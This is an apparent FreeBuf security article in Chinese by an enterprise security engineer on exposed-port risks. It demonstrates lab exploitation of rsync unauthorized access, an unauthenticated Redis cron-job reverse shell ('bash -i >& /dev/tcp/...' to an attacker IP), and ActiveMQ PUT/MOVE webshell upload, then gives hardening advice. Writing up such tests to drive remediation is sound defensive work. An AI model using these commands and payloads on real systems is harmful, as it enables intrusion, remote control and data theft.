*本文作者：liong03；本文属FreeBuf 原创奖励计划，未经许可禁止转载。

1.   前言

先简单自我介绍一下，其实，我是一个安全工程师。现就职于某互联网金融企业负责公司整体网络安全。 

刚到公司时首先是了解一些企业规则和规则制定者，当然了我的工作主要是安全。初来乍到，先了解下公司的IT资产，收集完IT资产后，做一个IP资产开放端口的梳理，端口信息的收集这是一个很重要的过程，因为渗透实战中对端口的渗透是常用手段。

端口收集过程中关注几个问题：

       1.  常见应用的默认端口

       2.  端口的banner信息

       3.  端口上运行的服务

       4.  可能存在漏洞

端口信息的获取，最为常见的应该就是nmap（端口信息比较详细）、御剑（只显示开放的端口，速度很快），也可以结合其他的主机漏洞扫描工具对端口扫描，如天镜、极光、nusses都可以扫描端口和一些漏洞。

2.   常见端口威胁

通过端口来进行渗透会很大提升渗透成功效率，在工作中发现运维人员开放了很多端口，很多网上曝过的漏洞可以找到，对于个人来说，这是个学习、实践的机会，连环境都搭好了，但对于企业来说这是个很危险的事情。

为什么有这么多端口开放，甚至有些已经关闭了的端口过段时间又会重新开启。还有些端口要求去整改，但却没有整改，这里面有很多因素，也包括人员安全意识和水平不一样。在公司也发起过安全意识培训和一些安全技术规范，但人员流动，各自专业不一样，关注点不一样。甚至一些人认为安全检查是找茬的，影响发版进度。还一个因素，运维部的安全员在执行安全管理时大部分情况是从下往上推，更尴尬的是还换了领导了。也遇到过帮别的甲方企业发现漏洞，告诉了封端口、打补丁，可是运维人员没有去整改，然后大概一个星期后就被黑客入侵了，再花一笔不小的费用让我去封端口、打补丁。一入甲方深似海。。。

在运维部这边遇到安全问题大部分是跟端口、口令相关，开发部那边的情况另说。这里例举了一些常见的端口及可能存在的安全问题，当然了，端口还是要结合服务来看。这里的端口也并不全，我一般看到端口就会去想它的服务，去百度查可能有哪些安全漏洞，大部分是从CVE、CNVD、安全厂商公证号、各大安全论坛也包括freebuf获取漏洞信息。也做过针对企业具体IP的端口、服务、软件版本的资产服务列表，这样有新的漏洞曝出来，就能很快知道哪些服务器可能有安全风险。

3.   端口漏洞测试

端口漏洞也是挺多的，以下3种漏洞在企业内网比较常见，在外网一般都是做了毕竟严端口控制，外网端口控制简单很多，不像内网架构那么复杂。

3.1   Rsync未授权访问漏洞

3.1.1  漏洞信息

漏洞名称：Rsync未授权访问漏洞

漏洞详情：Rsync因配置不当，导致未授权访问，可未授权上传、下载服务器文件。

Rsync 是一个通过检查文件的时间戳和大小，来跨计算机系统高效地传输和同步文件的工具。通常情况下，管理程序在启动Rsync 服务后，会直接运行传输任务。如果 Rsync 服务未经过安全加固，出现未授权访问等安全问题；其直接后果是传输数据裸露在网络中，可以被任何人访问获取，带来严重的数据泄露风险。

漏洞等级：高危

3.1.2  漏洞测试

一、查看泄露文件

root@kali:~# rsync 192.168.3.XXX::

root@kali:~# rsync 192.168.3.XXX::routing

查看routing目录

 二、下载文件

下载routing目录中MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt文件到攻击电脑的root目录：

root@kali:~#rsync -avz 192.168.3.xxx::routing/MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt/root

可以看到成功下载文件到攻击电脑root目录了：

三、上传文件

把攻击电脑root目录中ylr180119.jsp文件上传到靶机服务器routing目录:

root@kali:~# rsync -avz ylr180119.jsp 192.168.3.xxx::routing

登录192.168.3.xxx服务器，看到ylr180119.jsp文件成功上传了:

后续的操作姿势看个人喜好了，这里只是验证这个漏洞可以被利用入侵服务器。

3.2   Redis服务器远程执行漏洞

3.2.1  漏洞信息

漏洞名称：Redis服务器远程执行漏洞

利用原理：主要是通过无密码登录redis，然后往redis缓存写入数据库，再通过redis缓存保存到redis服务器任意目录。

漏洞等级：高危

3.2.2  漏洞测试

为了验证漏洞影响，搭建了测试redis服务器，进行漏洞攻击测试。

搭建测试环境：

1)redis服务器安装redis_version:2.8.17

2)redis服务器（靶机）IP：192.168.20.105

3)攻击电脑，IP：192.168.20.102

测试过程（利用反弹shell控制服务器）：

1、由于redis服务器默认是没有设redis访问密码，攻击电脑可直接向rides服务器缓存写入一个反弹shell，每分钟执行一次

root@kali:~/redis-2.8.17/src# echo -e "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.20.102/8880>&1\n\n"|/root/redis-2.8.17/src/redis-cli -h 192.168.20.105 -p6379 -x set 1

2、登录redis服务器redis服务，进行备份/创建一个/var/spool/cron目录root文件

     root@kali:~/redis-2.8.17/src# ./redis-cli -h 192.168.20.105 -p 6379
        config set dir/var/spool/cron
       config set dbfilename root
       save

3、攻击电脑上监听反弹shell，成功连接了redis服务器，可执行任意操作

当然还有其他的利用姿势，如：

1）写入SSH的key，然后利用key远程登录；

2）替换redis服务器passwd文件；

3）写入网马（前提需要找到网站路径）；

3.3   ApacheActiveMQ远程代码执行漏洞

3.3.1 漏洞信息

漏洞名称：Apache ActiveMQ远程代码执行漏洞

利用原理：主要是通过破解账号密码登录Apache ActiveMQ，然后往Apache ActiveMQ目录写入数据库，再通过MOVE保存数据到服务器任意目录。

漏洞等级：高危

3.3.2 漏洞测试

一、上传小马

首先 PUT 一个 jsp 的 Webshell 到 fileserver 目录

1、修改PUT /fileserver/%20/%20为PUT/fileserver/xiaoma.jsp

2、在下方空白处填写小马内容

3、访问http://192.168.20.101:8161/fileserver/xiaoma.jsp，输入账号密码admin/admin登录成功，看到小马上传成功

二、移动小马到tomcat目录

MOVE/fileserver/xiaoma.jsp 
Destination:file:///root/apache-tomcat-7.0.69/webapps/ROOT/xiaoma2.jsp

三、使用小马上传大马

使用小马客户端上传大马shell.jsp

四、访问大马成功

可以使用大马去管理服务器为所欲为...为所欲为...

4.   关于端口与口令安全

纵观端口与口令安全威胁，很多情况是因为默认配置有着诸多不足，而运维同学为了简单，都直接使用了默认配置。对于端口与口令的安全使用，建议可以参考如下措施：

1、采用白名单形式配置主机防火墙/网络防火墙访问控制策略，设置仅允许某IP访问服务某端口。

2、关闭非必要端口，尤其是非必要端口不要开放外网访问。

（很多木马工具也有特定的端口，一些端口由于配置原因容易被恶意人员利用。）

3、设置强壮口令，并定期修改口令。

（密码爆破技术最简单，往往采用字典和社工结合能进行最大效果的爆破。）

4、尽量采用密码防爆破，配合使用如限制次数、验证码等。

5、重要系统尽量使用双因子验证。

6、不要以明文方式传输账号密码。

7、远程运维尽量采用VPN连接方式。

8、尽量以非管理员用户运行服务程序。

9、及时升级版本、打补丁。 

强壮口令是指有以下特征的密码：

1) 同时具备大写和小写字符；

2) 同时具备字母、数字和特殊符号，特殊符号例如：!@#$%^&*()_+|~-=\`{}[]:";'<>?,./) ；

3) 8个字符或者以上；

4) 不是字典上的单词或者汉语拼音；

5) 不基于个人信息、名字和家庭信息。

5.   关于安全整改

当收集完端口信息后，我发现很多问题，跟运维人员、开发人员聊过人生。发现运维人员、开发人员不太懂安全，而安全人员也不太懂运维和开发，至少我之前是这样的。拿端口和弱口令来说，对于安全人员来说，发现了这个问题一般的建议：改口令、关端口；限制IP访问；打补丁/升级版本；删除一些配置文件。实际情况中运维或开发会反馈：

1）口令更改会涉及一些应用调用，需要同时改好几个地方的配置；

2）有其他系统需要调用这些端口，整改起来很麻烦；

3）linux防火墙还好限IP，windows防火墙有不少坑，网络防火墙限IP可能要改好几个防火墙，而且防火墙策略已经很乱；

4）一些补丁打不上，版本不能升不了级，甚至不能升级和打补丁；

5）这个问题好像没什么影响，我慢点改，最后可能不了了之；

6）有没有更简单的方法，我选更简单的。 

我只是个安全工程师，招入职我的领导升上去了，坚强的后盾没了，还好这么多年的工作经验在运维和开发都懂一些，安全工作也还是要继续：

1）把整改的方法一一分析，讨论可行性，甚至还把一些操作步骤给做成手册，甚至还写过杀毒软件的安装和配置使用手册；

2）把问题风险列出来，甚至进行成功渗透，必要时发个安全通告、安全预警之类，主要是要引起对问题的重视，同时也要避免出问题担责。

漏洞成功利用了，整改操作手册也有了，各位大佬同意整改了，然后就是漏洞跟踪形成闭环。

*本文作者：liong03；本文属FreeBuf 原创奖励计划，未经许可禁止转载。